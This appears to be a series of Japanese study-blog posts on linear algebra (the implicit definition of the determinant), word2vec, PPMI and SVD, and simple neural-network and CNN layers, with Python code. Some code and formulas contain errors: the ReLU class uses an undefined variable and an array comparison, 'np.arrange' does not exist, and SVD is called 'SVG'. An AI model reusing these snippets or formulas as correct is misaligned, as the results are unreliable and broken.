【数弱の線型代数 1.0】行列式のimplicitな定義

私のものは私が一切身につけて持っている

Ambrose Gwinnett Bierce

0. 参考

・線型代数入門講義―現代数学の“技法”と“心”  長岡亮介

1. イントロ

中学の頃から数学がどうも苦手だ。こいつのせいで一度大学に落ちて、進振りでも失敗した諸悪の根源であると言える。

そんな数弱だが6,7月は何せ授業が少なく勉強する時間だけは豊富にあるため、線形代数を基礎の基礎から振り返ってみる。そして気になったことを備忘録的にこのブログに書き留めていくことにする。

今回は、行列式のimplicitな定義についてメモする。

2. 主題

行列式の定義は以下の通りであった。

$\mathrm{detA}=\sum _{\sigma \in \mathrm{Sn}}^{}\mathrm{sgn(\sigma )}{a}_{\mathrm{\sigma (1)1}}\mathrm{...}{a}_{\mathrm{\sigma (n)n}}\mathrm{・・・①}$

このようにして定義した行列式は、以下の3つの性質を持つ。

a: 転置不変性 

$\mathrm{detA}=\det A^T$

b: 交代性

　$A=({\mathrm{<strong>a</strong>}}_1,...,{\mathrm{<strong>a</strong>}}_n)$において第i列と第j列を入れ替えた行列を$A^{\text{'}}$とおくと

$\det A^{\text{'}}=\mathrm{-detA}$

c: 多重線型性

　行列式を「列ベクトルを引数にとる多変数関数」と見ると、これは各列について多重線型性を持つ

これらの証明はいずれも行列式の(explicitな)定義より比較的簡単にできるためここでは省略する。

上では、 「①の定義によって定めた行列式が a, b, c の性質を持つ」と述べた。

しかし、逆にこれらの性質を持つような関数は行列式だけである。

3. 命題

写像  $f({\mathrm{<strong><em>a</em></strong>}}_1,...,{\mathrm{<strong><em>a</em></strong>}}_n)$が

ⅰ: 交代性

ⅱ: 多重線型性

ⅲ: $f({\mathrm{<strong><em>e</em></strong>}}_1,...,{\mathrm{<strong><em>e</em></strong>}}_n)=1$

を満たすならば、f = det  である。

4. 証明 似非証明的導出

$A=({\mathrm{<strong><em>a</em></strong>}}_1,...,{\mathrm{<strong><em>a</em></strong>}}_n)$であるとすると、

$\{\begin{array}{c}{\mathrm{<strong>a</strong>}}_1=a_{\mathrm{11}}{\mathrm{<strong>e</strong>}}_1+a_{\mathrm{n1}}{\mathrm{<strong>e</strong>}}_n\\ \\ ...\\ \\ {\mathrm{<strong>a</strong>}}_n=a_{\mathrm{1n}}{\mathrm{<strong>e</strong>}}_1+a_{\mathrm{nn}}{\mathrm{<strong>e</strong>}}_n\end{array}$

である。すなわち、

$f({\mathrm{<strong><em>a</em></strong>}}_1,...,{\mathrm{<strong><em>a</em></strong>}}_n)$

$=f(a_{\mathrm{11}}{\mathrm{<strong>e</strong>}}_1+a_{\mathrm{21}}{\mathrm{<strong>e</strong>}}_2+\mathrm{...}+a_{\mathrm{n1}}{\mathrm{<strong>e</strong>}}_n,\; ...\; ,a_{\mathrm{1n}}{\mathrm{<strong>e</strong>}}_1+a_{\mathrm{2n}}{\mathrm{<strong>e</strong>}}_2+\mathrm{...}+a_{\mathrm{nn}}{\mathrm{<strong>e</strong>}}_n)$

これは、ⅱ:多重線型性より

$\mathrm{f(A)}=\Sigma a_{i_{1}1}{a}_{i_{2}2}\mathrm{...}{a}_{i_{n}n}f({\mathrm{<strong><em>e</em></strong>}}_{i_1},...,{\mathrm{<strong><em>e</em></strong>}}_{i_n}) ・・・②$

$\{\begin{array}{c}{i}_1=\mathrm{1,\; 2,\; ...\; ,\; n}\\ \\ ...\\ \\ i_n=\mathrm{1,\; 2,\; ...\; ,\; n}\end{array}$

 と表せる。ここで ⅰ:交代性より、

${\mathrm{<strong>e</strong>}}_i={\mathrm{<strong>e</strong>}}_j$(i≠j) ならば $f({\mathrm{<strong><em>e</em></strong>}}_{i_1},...,{\mathrm{<strong><em>e</em></strong>}}_{i_n}) =0$

であることが直ちにわかる。故に②において非ゼロな因数は $\{i_1,\; ...\; ,i_n\}=\left\{\mathrm{1,\; ...\; ,\; n}\right\}$を満たすものだけである。このような対応は置換σを用いて表せる。ゆえに、ゼロになる因数を除いて

$\mathrm{f(A)}=\Sigma a_{\mathrm{\sigma (1)1}}{a}_{\mathrm{\sigma (2)2}}\mathrm{...}{a}_{\mathrm{\sigma (n)n}}f({\mathrm{<strong><em>e</em></strong>}}_{\mathrm{\sigma (1)}},...,{\mathrm{<strong><em>e</em></strong>}}_{\mathrm{\sigma (n)}}) ・・・②\text{'}$

 と書き換えられる。

多変数関数の引数を取り替える操作を、置換σとの積で表すこととする。

例えば、

$\mathrm{g(a,b,c)}=\mathrm{2a}÷\mathrm{(b\; +\; 3c)}$

$\sigma =\left(\begin{array}{ccc}1& 2& 3\\ 2& 3& 1\end{array}\right)$

である場合には、

$\mathrm{\sigma g(a,b,c)}=\mathrm{2b}÷\mathrm{(c\; +\; 3a)}$

 であるとする。

このとき②'において

$f({\mathrm{<strong><em>e</em></strong>}}_{\mathrm{\sigma (1)}},...,{\mathrm{<strong><em>e</em></strong>}}_{\mathrm{\sigma (n)}}) =(\sigma f)({\mathrm{<strong>e</strong>}}_1,\; ...\; ,{\mathrm{<strong>e</strong>}}_n)$

$=\mathrm{sgn(\sigma )}f({\mathrm{<strong>e</strong>}}_1,\; ...\; ,{\mathrm{<strong>e</strong>}}_n)\mathrm{・・・③}$

$=\mathrm{sgn(\sigma )}\mathrm{・・・④}$

 である。③では f の性質ⅱ:交代性を使い、④では性質ⅲを用いた。

以上より、

$\mathrm{f(A)}=\sum _{\sigma \in \mathrm{Sn}}^{}{a}_{\mathrm{\sigma (1)1}}{a}_{\mathrm{\sigma (2)2}}\mathrm{...}{a}_{\mathrm{\sigma (n)n}}\mathrm{sgn(\sigma )}$

 となり、これは行列式の定義と一致する。□

5. アウトロ

以上のように、行列式という関数がもつ性質を先に決めてやるような定義を、行列式のimplicitな定義というらしい。

数弱からしてみれば、ほえーとなった内容であった。

あとHTML直打ちして数式書くのがめんどくさ過ぎるため、本シリーズは1.0を以って終わりになるであろう。

6. 補足 (2019/06/18)

転置不変性について

f が持つ条件として転置不変性のことは書いていなかった。

ここで、explicitな定義①が存在していないときに f=detA が転置不変性を持つことは別途証明が必要であろう。

ただし本エントリではあくまでexplicitな定義①が既にある状態で、 ⅰ~ⅲの性質が成り立つならば f=det は転置不変性を持つということを意図している。すなわちⅰ~ⅲが成り立つならば f は det のことであり、detのexplicitな定義①から即座に導かれる性質として転置不変性が成り立つという流れである。

実際、①から転置不変性はσの逆写像τを考え、sgn(σ)=sgn(τ)かつτはn次対称群全てを巡ることから即座に示される。

数弱の線型代数の厳密性について

ここでは、「こっからここまで既知」と引用・証明なしで話を進める。

ブログという媒体上公理まで遡れるようにするのは困難であるし、そもそも数弱の線型代数の意図するところではない。数学としての厳密性は維持しつつも、大筋を抑えることを主眼において話を進めていくことにする。（もちろん数学における大筋には厳密性が外せないことも確かではあるが）

故に「証明」ではなく「似非証明的導出」と表記することにした。

続く・・・

【NLP 2.2】巨大行列の計算の効率化 ~ Negative Sampling ~

五手稼げるよ。やってみる価値はあるんじゃないかね。五手あれば相手のミスを期待できる。

 - 世界の終わりとハードボイルドワンダーランド

0. 参考

・『ゼロから作るDeep Learning ❷自然言語処理編』斎藤 康毅

1. 問題点①

前エントリまでで考えたCBOWモデルのword2vecの問題点をおさらいしておく。

corpus中の全語彙数をn、windowの値を1、隠れ層のニューロンm個とする。

CBOWモデルの単純なneural network

このときnetworkへの入力値はn次元のベクトル２つであり、第１層での重みW_inはnxmの行列となる。また、出力層での重みはmxn行列となる。

この入力値は、targetのIDに相当するindexだけが1で他が全て0である one-hot形式 で表現されている。故に第１層での行列計算は、重みの行ベクトルを取り出すだけの演算であるはずである。

第１層での計算

よってこれを単なる行列の積和計算として計算してしまうと、他の余分なN-1個の行の分まで演算してしまうことになり、無駄が大きい。

2. 解決策①

解決策は非常に簡単。

前回までで第１層に使用していた ProductSum layer (積和計算をする層) の代わりに、以下のような Embedding layer を実装する。

Embedding layer

これは、one-hot形式のベクトルにおいて1になっているインデックスの値ixを受け取り、重みの該当する行を出力するだけのlayerである。

幸いにもPythonでは行ベクトルを抜き出す操作は W_in[ix]とするだけで可能である。

また、バッチ処理を考えてixをベクトルにしたとしても、同様にして W_in[ix] と書くだけで該当する行ベクトルを全て取り出すことが可能である。

このようにして第１層における演算の無駄は省かれる。

 なおEmbedding layerにおける逆伝播は、上流からのm次元ベクトルを第ix行にもち他の行が全てゼロであるような、Wと同じ次元を持つ行列を下流に流せば良いだけである。

3. 問題点②

 語彙数nが巨大になった時に計算が膨大になる他の箇所は、Softmax関数における計算である。Softmax関数は以下の式で与えられる。

$\mathrm{Softmax(k)}=\frac{exp{a}_k}{\sum _{i=1}^{n}exp{a}_i}$

式の形からもわかるように、これによって各スコアが確立に変換され分類推論が可能になる。ただし、nの値が膨大になるとそれだけ多くのexponential計算をする必要があり、計算コストが莫大になる。

4. 解決策② 二値分類

これまで扱ってきたnetworkでは multi-vaue clasification; 多値分類を扱ってきた。

すなわち出力されるn次元ベクトルの各要素が対応する単語がtargetである確立を保持し、それによってtargetの単語を推論しようとするnetworkであった。

この場合には、中間層の出力が m次元ベクトルである以上出力層における重みW_outの次元が mxn になることは避けられない。しかもここでは特別な行を抜き出すと言った工夫もできず、語彙数nの増加につれて計算量も増えていくことになる。

そこで以降は binary clasification; 二値分類を扱うことにする。

すなわち、問題を「targetに当てはまる単語は何か」から「targetに当てはまる単語は●●●であるか」に変更する。こうすることで、networkは以下のように簡略化される。

二値分類のCBOWモデル

ID1とID2はそれぞれ left_wordとright_word の単語IDであり、最初のEmbedding layerではそれに対応する行ベクトルを抜き出して、その後に平均をとる。

変更点はこの先である。

二値分類にしたことで出力は 1次元ベクトル(=スカラ)でよくなった。

すなわち、隠れ層で使用する実際の重みはW_outにおいて「targetに当てはまる単語は●●●であるか」の●●●に対応する列(m次元ベクトル)だけである。

上図で ID3は●●●の単語IDのことである。

このようにして生成したスカラ値を Sigmoid関数に通したのちにCrossEntropyErrorを計算する。

なお

二値分類：Sigmoid関数 / Cross Entropy Error

多値分類：Softmax関数/ Cross Entropy Error

をセットにすることが一般的であるらしい。

5. Negative Sampling

上の例では、「targetに当てはまる単語は●●●であるか」という問題に変更することで語彙数nが増えても計算量があまり大きくならないようにした。

しかしこのままでは「targetに当てはまる単語は●●●であるか」に対して答えが"Yes"である場合しか学習していないことになる。すなわち、答えが"No"である場合についても同様にして学習する必要がある。

だが答えが"No"である単語全て(n-1個)について学習していては、語彙数nが増加しても計算量を増やさないという当初の目的に反する。

そこで、答えが"No"の単語の中からいくつかを選んで学習する Negative Sampling の考え方を用いて、負例についても学習することにする。

続く・・・

【NLP 2.1】THE GREAT GATSBY ~ 簡易版CBOWによる学習と単語のcos-similarity ~

誰かのことを批判したくなったときには、こう考えるようにするんだよ

世間のすべての人が、お前のように恵まれた条件を与えられたわけではないのだと

1. イントロ

前エントリでは簡易版CBOWモデルのneural networkを用いた単語の分散表現の生成方法を扱った。

現状の実装では

・corpusサイズが小さすぎる

・積和計算に無駄が多すぎる(重みの行ベクトルを取り出すだけの計算をわざわざ全要素との積和でしている）

ことなどが挙げられる。

これらの問題はのちのち解決していくとして、今のところは作成したnetworkでそれなりの規模の学習をしてみようと思う。

2. 学習と損失値

今回題材として用いるのは F. Scott Fitzgerald の the great gatsby である。

偶々一番手の取りやすいところにこの本があっただけで、学習に適した本だとか言うわけではない。( 今の自分はそんなに好きな本ではない。)

ここから300wordsほどのcorpusを作成して学習させた結果が以下の通り。

（パラメタの更新にはAdamを用いた)

簡易版CBOWモデル(Adam)での学習結果

最終的な損失関数の値が2.5付近とそんなに精度は高くないものの、学習によって損失が小さくなっていることはわかる。

今回精度がそこまで高くない理由としては

・corpusが不適切だった（小さすぎる。sentenceごとに区切れていない。硬すぎる?)

・パラメタの更新方法?

が挙げられる

だがいずれにしても今は取り敢えず形になったため、精度はおいおい上げていけば良い

3. 分散表現から単語の類似度を探る

このnetworkでは２つの重みパラメタ( W_in, W_out ) が存在するが、そのうちのW_inの方を単語の分散表現として認識する。

（W_outを使ったり、もしくは２つの重みの平均を使ったりすることもある。但しどの手法でも大きな差はなく、若干W_inに軍配があがるくらいらしい。）

このとき、W_inの行ベクトルが各単語の分散表現に相当する。

そこでこれらの行ベクトルを用いて、”ある単語に意味的に類似している単語を探す”ことを考えてみる。

類似度の計算方法としては、今回は最も簡単であろう cosine similarity; コサイン類似度を用いる。これは上に述べたベクトル２つを引数に取り、-1~+1の範囲で類似度を示す。（+1が正の相関、-1が負の相関、0が無相関）

cos similarityの式は以下の通り。

$\mathrm{cos\; similarity(x,y)}=\frac{\mathrm{<strong>x</strong>}・\mathrm{<strong>y</strong>}}{\Vert \mathrm{<strong>x</strong>}\Vert \Vert \mathrm{<strong>y</strong>}\Vert }$

実装についてはこの式を愚直に表現すればいいだけなので省略する。

これを用いて、"you","say","a"の３単語と類似度が最も高い単語を検索した結果が以下の通り。

cos similarityによる類似度の検索結果

youについて見てみると、something, father, mindなどの主語に当たるものが上位の検索結果に挙がっており、ごくごく小さなcorpusにしてはそれなりに人間の直感に近い結果になっていると言えるだろう。

sayについては、壊滅的である。動詞が１個もランクインしていない。

aについても同様である。冠詞が一つもランクインしていない。だがその毛色がsayなどとは異なっているため、違う意味を持つ単語であるということ自体は認識できているようである。

今回類似度の検索であまりいい結果が出なかった理由としては

・corpusが不適切

・cos similarityによって類似度を計ることが不適切なのかもしれない

・重みの行ベクトルを単に計算に使うのがまずいのかもしれない

などが挙げられる。

まあこれらの具体的な意味についても、本書を読み進めていく中で説明されるかもしれない。

続く・・・

【NLP 2.0】word2vec ~ CBOW / skip-gram ~

1. 参考

・『ゼロから作るDeep Learning ❷自然言語処理編』斎藤 康毅

2. カウントベースの分散表現の復習

前エントリでは単語の分散表現をカウントベースで表した。

すなわち

・corpusから共起行列を生成

・共起行列からPPMIを生成

・こうして生成した疎な行列をSVGで密な行列に変換（次元削減）

という流れで単語の分散表現を生成した

この手法の問題点として

・SVGによる行列の次元削減にはO(N^3)の時間的計算量がかかる

・全てのデータから１つの共起行列を生成するため分散処理および再学習が困難である

ことが挙げられる

このような問題の改善策として以下では推論ベースの手法を扱っていく

3. word2vec / CBOW

word2vecは2013年にTomas Mikolovの論文によって発表された単語の分散表現方法である。

端的に言ってしまえば、"corpus中の１つの単語とその前後２つの単語を入力としてneural networkを学習させ、学習された重みを単語の分散表現とする"手法である。

以下簡単に詳細を説明する。

この手法は推論ベースの手法とも呼ばれる。

word2vecには大きく分けてCBOW; Continious Bag of Words modelとskip-gramモデルの２つがあるが、まずはCBOWモデルを取り上げることにする。

F. Scott Fitzgerald の THE GREAT GATSBY 冒頭より引用

上のような文章 ( corpus )があったとする。本来ならばもっと巨大なデータをcorpusとして使用するべきだが、ここでは簡単のために上の短文を用いる。

ここで考えるのが、”corpus中のある単語が抜け落ちている時、その周囲の単語から抜け落ちた単語を推測できるか”という問題である。

       

 これは neural network における推論の問題に他ならない。

なおここでもやはり、文中の単語は周囲の単語によって意味が決定されるという分布仮説に従っていることになる。

この問題を neural networkを用いて解決していくのだが、単語のままでは値として扱いにくい。そのため単語に一時的に unique な ID を割り当てておくことにする。

単語は固有なIDによって表すこととする

考えるのは以下のnetwork

CBOWモデルの単純なneural network

入力として、推測対象となる単語 ( target ) の左右にある単語 ( left word, right word )を用いる。ただしここでは単語のIDを入力とするのではなく、IDの one-hot表現 を入力値として用いる。 

IDのone-hot表現

 このようなone-hot形式で表された２つの単語の列ベクトルを入力値としてとる。

ProductSum layerでは単に W_in ( 語彙数 x 隠れ層サイズ )との積和をとるだけである。

ただしこのとき、left wordとright wordとで同じ重みW_inを用いて計算することに注意が必要である。このようにして生成した積和をleft wordとright wordとで平均をとる。

続くProductSum layerでも単にW_outとの積和を取るだけである。あとはその出力をSoftmaxに渡し、CrossEntropyError layerで損失を計算する。

なお今回はbiasは考えない。

このnetworkをtargetを変えながら学習させていく。（書籍ではパラメタのアップデートにはAdamを使っていた)

結果として出来上がるパラメタにはW_inとW_outの２つがあるが、この２つが単語の分散表現として捉えられる。

なおW_inとW_outではW_inを最終的な分散表現として使用する場合が多い。

以上がCBOWモデルの説明である。

3. CBOWの補足

上の簡単なCBOWモデルを式的に捉えてみる。

使用した損失関数はCross Entropy Errorであり、式は以下の通り。

ただし、t,xともにone-hot形式であることも考慮すると以下のように簡略化できる。

$\mathrm{Cross\; Entropy\; Error}=-\frac{1}{n}{\log }_e{x}_k$

また、xは確率を表している。left wordとright wordがわかっている時のtargetが w である確率は条件付き確率で表せるため、結局損失関数は以下のように表せる。

$\mathrm{Cross\; Entropy\; Error}=-\frac{1}{n}{\log }_e\mathrm{P(}w|\mathrm{left\; word,\; right\; word)}$

上のような値を、負の対数尤度と呼ぶ。

4. skip-gram

暑いのでまた今度

5. アウトロ

暑い

続く・・・

【NLP 1.0】単語の分散表現とSVDの似非数学的説明

1. 参考

・『ゼロから作るDeep Learning ❷自然言語処理編』斎藤 康毅

・SVD（特異値分解）解説 - Qiita

2. NLPとは

NLP; Natural Language Processing とは、人間の使う自然言語をコンピュータに処理させることである。以前より研究されてきた分野ではあるが、近年のdeeplearningブームにより性能が上がった。以下、その手法のうちいくつかに軽くふれていく。

3. Thesaurus

Thesaurus; シソーラスとは、単語の意味を木構造で階層化し関連づける辞書。

NLPにおいて”単語の意味をコンピュータに理解させる”ことを考えたとき、人間の使う辞書のように単語の意味を文章で書くという方法では本末転倒である。（単語を理解するための文章を理解するための文章を理解するための文章を・・・）

よって単語の意味を階層化してその関連性を捉えるのがthesaurusの根本的な考え方である。

thesaurusの構造の例

　問題点としては、

　・手動で辞書を作る必要がある

　・単語の意味の変化に対応できない

　・単語の微妙なニュアンスによる関連付けができない

　などがある。

 4. 統計的手法

distributional hypothesis; 分布仮説とは、”単語の意味が周囲の単語によって形成される”という旨の仮説である。

この仮説に基づいて、ある単語と一緒に現れやすい (共起しやすい）単語を関連度が高いとして認識する手法が統計的手法である。実際の方法は以下の通り。

まずある文章に出現する単語にuniqueなIDつける。ここではIDがN個生成されたとする。このとき、ID=xの単語それぞれに1xNの次元を持つベクトルを考える。

文章中のID=xの単語の前後 w 個 (このwを window size と呼ぶ）の単語を調べ、上のベクトルの対応するIDの要素に出現回数を加算する。

このようにして、N個の単語それぞれについて1xNの要素を持つベクトルを生成し、このベクトルを行ベクトルに持つ NxN 正方行列を考える。この行列を co-occurence matrix; 共起行列 と呼ぶ。この行列は各単語と他の単語との共起しやすさを与える。

5. PPMI

共起行列を用いて単語同士の関連性を定量化する手法として、PMI; Pointwise Mutual Information; 相互情報量がある。ある単語a,bを考え、a,bの文章中の出現頻度をP、文章の総単語数をNとするとPMIは以下で与えられる。

$\mathrm{PMI}\left(\mathrm{x,y}\right)={\log }_2\frac{P(\mathrm{x,y})}{P(x)P(y)}$

ただし、PMIでは出現頻度が0の単語を考える場合 log2(0)=-∞となってしまう。

よって実装の際には以下の PPMI; Positive PMIを用いる。

$\mathrm{PPMI}\left(\mathrm{x,y}\right)=max(0,\mathrm{PMI})$

6. 次元削減; dimensionality reduction

以上のようにして共起行列を作った場合、その行列は非常に大きくなる。NxN正方行列であるから、１つの要素を32bitで記憶したとしても、32 * N^2 bit だけ必要になってしまう。

さらに、共起行列はほとんどの場合その要素の多くが０である。

以上の状況を鑑みて、NLPでは共起行列のサイズの削減が行われる。具体的には、重要な情報を損なわない程度にベクトルの次元を削減する。

この手法の説明に際して、以下の予備定理が必要になる。

7. 前提命題

命題：

　任意の行列Aは A = US$V^T$の形に分解できる。

　なおUとVは直交行列、Sは対角行列である。

導出（非証明）：

導出の紙媒体バージョン

( HTMLで書くのめんどくさかった・・・）

8. SVD

次元削減の手法として SVG; Singular Value Decomposition; 特異値分解を採用する。

上の定理導出において用いた文字を使うと

A: 共起行列

U: 単語空間の固有ベクトル（基底？）

S: 特異値。各基底の重要度を表しているらしい？

V: 同じく固有ベクトル(?)

となっているらしい。

ここでSの要素のうち小さいもの(=重要度の低いもの）を削ることによって単語空間の基底を減らし、行列のサイズを減らす。

9. アウトロ / 疑問

肝心なSVDが本の説明でははぐらかされている気がする。

定理の証明までは理解できたが、

・U,S,Vがそれぞれ何故そのような意味合いを持つのか

・共起行列のaxis=1は”共起する側の単語”の意味を持っていたが、Uではどんな意味なのか。またそれを削ることがなぜ可能なのか

などという疑問が残った。

まあこの辺は詳しい人に聞いたりして

後々解決していこうか

続く・・・

単純なneural networkの仕組みとその実装

1.イントロ

現在"ゼロから作るDeep Learning ➁ ―自然言語処理編"を読み始めたばかりである。

本書を本格的に読み進めて行く前に、最も簡単な構造を持つneural networkについて備忘録的にまとめておく。

2.大まかな構成

今回考えるneural networkは以下のような構成をしている。

img1: neural networkの構成

（訂正：y2=x・W1+b1 は y2=y1・W2+b2 が正しい)　

すなわち、入力として2次元データをN個受け取りそれらの損失関数の平均をCross Entropy Errorとして 出力するネットワークである。３種の分類問題を扱う。

3. back propagation

損失関数の各パラメタにおける勾配を求めるのに、back propagation:逆誤差伝播法を用いる。これは、上図のネットワークにおいて勾配を逆方向に伝播させていく手法である。

数学的には微分の chain rule: 連鎖律を利用している。すなわち、各ノードにおいて局所的な偏微分値を求めて、上流からの偏微分値と掛け合わせて下流に送れば良い。各層における値の逆伝播については後述する。

4. Affine layer

隠れ層であるAffine layerについて。forward処理については特に述べることはない。

back propagation時において、上流からの値が $\frac{\mathrm{\partial L}}{\mathrm{\partial <strong>y</strong>}}$ であった場合の各パラメタの偏微分値は以下の通りである。

$\frac{\mathrm{\partial L}}{\mathrm{\partial <strong>x</strong>}}=\frac{\mathrm{\partial L}}{\mathrm{\partial <strong>y</strong>}}・{\mathrm{<strong>W</strong>}}^{\mathrm{T}}$

$\frac{\mathrm{\partial L}}{\mathrm{\partial <strong>W</strong>}}={\mathrm{<strong>x</strong>}}^{\mathrm{T}}・\frac{\mathrm{\partial L}}{\mathrm{\partial <strong>y</strong>}}$

$\frac{\mathrm{\partial L}}{\mathrm{\partial <strong>b</strong>}}=\mathrm{\Sigma <strong>b</strong>}$

  証明はここでは省略する。というかバイアスのとこ以外よくわからない・・・

5. Activation layer

ネットワークに非線形な性質を加えるためのものが Activation Function: 活性化関数である。今回は活性化関数としてReLUを用いる。

$\mathrm{Relu}=\{\begin{array}{c}x\mathrm{(x\; >\; 0)}\\ 0\mathrm{(x\; <=\; 0)}\end{array}$

当然逆伝播は以下のようになる。

$\frac{\mathrm{\partial Relu}}{\mathrm{\partial x}}=\{\begin{array}{c}1\mathrm{(x\; >\; 0)}\\ 0\mathrm{(x\; <=\; 0)}\end{array}$

6. Softmax / Cross Entropy Error

　この２つの層は同じ層として実装することになる。

SoftmaxとCrossEntropyLossにおける偏微分

　理由は以下のように偏微分の値が非常に綺麗になるからだ。

$\frac{\mathrm{\partial L}}{\mathrm{\partial <strong>a</strong>}}=\mathrm{<strong>y</strong>}-\mathrm{<strong>t</strong>}$

　証明は以下の画像の通り。

SoftmaxとEntropyLossの偏微分の証明

7. Affine layerの実装

class Affine:
    def __init__(self,W,b):
        self.params = [W,b]
        self.grads = [np.zeros_like(W),np.zeros_like(b)]
        self.x = None

    def forward(self,x):
        W,b = self.params
        out = np.dot(x,W) + b
        self.x = x
        return out

    def backward(self,dout):
        W,b = self.params
        dx = np.dot(dout,W.T)
        dW = np.dot(self.x.T,dout)
        db = np.sum(dout,axis=0)

        self.grads[0][...] = dW #...:三点リーダ:配列の非破壊的コピーを行う
        self.grads[1][...] = db
        return dx

9. Softmax  / CrossEntropyError layerの実装

class SoftmaxWithLoss:
    def __init__(self):
        self.params,self.grads = [], []
        self.y = None
        self.t = None

    def forward(self,x,t):
        self.t = t
        self.y = softmax(x)

        #教師がone-hot形式なら各行の最大値(=正解インデックス)を取り出す
        if self.t.size == self.y.size:
            self.t = self.t.argmax(axis=1) #axis=0は列方向、1は行方向

        loss = cross_entropy_error(self.y,self.t)
        return loss

    def backward(self,dout=1):
        batch_size = self.t.shape[0]

        dx = self.y.copy()
        dx[np.arrange(batch_size),self.t] -= 1  #注１
        #"正解ラベルに該当するところだけ1を引く"ことをバッチ内のすべてのデータに行う。これによって yi-tiを計算する
        dx *= dout
        dx = dx / batch_size                    #平均値を計算する

        return dx

　なお、expの計算は非常に大きくなりやすい。そのため以下の性質を利用して大きな値同士の除算をできるだけ行わないようにした。

$y_k=\frac{exp{a}_k}{\sum _{i=1}^{n}exp{a}_i}=\frac{exp(a_k+C)}{\sum _{i=1}^{n}exp(a_i+C)}$

10. ReLU layerの実装

class ReLU:
    def __init__(self):
        self.params,self.grads = [],[]
        self.out = None
        self.x = None

    def forward(self,x):
        self.x = x
        out = x if x>0 else 0
        return out

    def backward(self,dout):
        dx = dout*1 if x>0 else dout*0
        return dx

11.所感

HTMLに慣れていないため、数式を書くのがめんどくさかった。

neural networkのすごいと思う点は、その入力データが入力形式さえ満たしていれば（原理上）学習および推論が可能であることである。言い換えれば、ネットワークがデータに応じて勝手にその姿を変える（汎化）とも言える。まだまだ勉強し始めたばかりだが、感心することばかりだ。 

ただし相変わらずフレームワークを使うのには抵抗がある。一度自分で作って仕組みを理解してみないことには、既製のフレームワークを使うにも騙されている感じがしてしまう。

Dropoutなどの正則化手法については次回以降に暇があればまとめようと思う。

続く・・・

CNNとpythonにおける実装についての覚書

1.イントロ

　オライリーのゼロから作る DeepLearningを読んで理解したCNNとその実装方法について軽くメモしておく。全結合層についてはとりわけ説明することはないから省略する。話題は一貫してmnistの文字認識を扱っていく。

2.CNNとは

　CNN:Convolutional Neural Network=畳み込みニューラルネットワークについて説明する。

　Affine変換を行うAffine Layerは全結合層とよばれ、その層のnodeは一つ前のlayerの全てのnodeの出力を入力として処理する。その際に、１つのデータを処理するならば1xn行列、m個のデータをバッチ処理するならばmxn行列と重み行列との間でAffine変換を行うことでその結果を出力していた。

　しかし、この方法では２次元データである画像を１次元のベクトルに変換する必要がある。これでは画像の二次元的な特徴（エッジ・ブロブなど）を捉えることができない。

　そこで用いるのがCNNである。CNNは入力データの次元を保持したまま情報を伝播させる。CNNでは Convolution layer, Activation layer, Pooling layerを一つの繰り返し単位として構成される。Activation layerは今回はReLUを用いる。

　以下各layerについて説明する。

3.Convolution layer

　基本的な処理は２次元データAに対して行う。重さとしてfilterと呼ばれるやはり２次元のデータを用意する。Aの中でfilterと同じ大きさを持つ領域をwindowと呼ぶ。

　このlayerにおける重さの掛け合わせは、「windowとfilterの対応する要素同士で積を取り、window内でその総和を取る」ことで行われる。（行列の積を取る際にするのと同じような計算であり、実際実装ではそれを利用している。）この演算を積和と呼ぶ。

　windowをA内で移動させる時の間隔のことをstrideと言う。また、出力データのサイズを入力データと合わせることなどを目的として入力データの四方にゼロを付与する操作をpaddingと呼ぶ。

　入力データをHxW行列、出力データをOHxOW行列、filterをFxF行列、padding==P、stride==Sとすると以下の関係が成り立つ。

$\{\begin{array}{c}\frac{H+\mathrm{2P}-F}{S}+1=\mathrm{OH}\\ \frac{W+\mathrm{2P}-F}{S}+1=\mathrm{OW}>\end{array}$

4.３次元のConvolution

　以上の処理は２次元データに対して行なったが、３次元データに対しても同様に行うことができる。入力データをA2は (C, H, W) の次元を持つものとする。この時には、filterをC枚用意して平面ごとにフィルター処理をすれば２次元の場合と全く同様に計算することができる。

　但し、最終的な出力としては"あるwindowにおけるC枚の積和の結果の和"を用いる。ゆえに出力データの次元は、２次元データを処理した場合と同じであり、チャンネル数Cに依らず２次元となる。

5.出力データを３次元に

　先ほどまでの説明では、入力データは３次元、出力データは２次元となっている。データの形状を維持したいため出力データを３次元にする方法を考える。

　方法は簡単で、filterをFN個用意すれば良い。あるwindowに対してはそのFN個のfilterでそれぞれ独立に積和を計算する。そうすると、前述した２次元出力がFN枚だけできることがわかる。これによって３次元のデータを出力することができた。

6.Convolutional layerにおけるbias処理

　Affine layerと同様に、Convolutional layerにおいてもbias処理をする。

　但し、ここで用いるbiasは ( FN, 1, 1)の次元を持つ。すなわち各チャンネル平面に対してただ一つのbias値だけを与えれば良い。

　計算は、重み計算の出力に対してそのチャンネル平面のすべての要素にbiasを加算するだけである。

7.４つ目の次元

　以上までで用いた入力データは、 (Channel, Height, Width) の３つの次元を持っているブロックとして考えることができる。

　実際の処理ではバッチ処理することも考えて、この入力ブロックをバッチ処理単位N個だけ同時にConvolutional layerに入れることになる。すなわち、最終的な入力データの次元は、 (N, Channel, Height, Width) の４次元となる。

8.Pooling Layer

　入力データがConvolutional layerを通り、ReLUを通過した後に入るのがPooling layerである。ここでは出力データをやはりwindowごとに捉え、そのwindowごとの代表値を一つに決定して出力データのサイズを減らす処理を行う。

　なお、Convolutional layerにおいてfilterは（strideの値によっては）重なった領域に適用されることも普通であるが、Poolling layerにおいてはwindowは重ならずに適用されることが普通である。

　windowごとの代表値の決定方法にはいくつか種類があるが、現在の主流は Max Poolingである。Max Poolingでは、シンプルにそのwindowにおける最大値をそのwindowの代表値として出力する。

　この層ではサイズを減らす（間引き）ことだけを行うため、データの次元自体は変わらない。

以上がCNNにおける繰り返し単位の概念的説明である。

9.実装におけるConvolutional layerの計算について

後で書く

続く・・・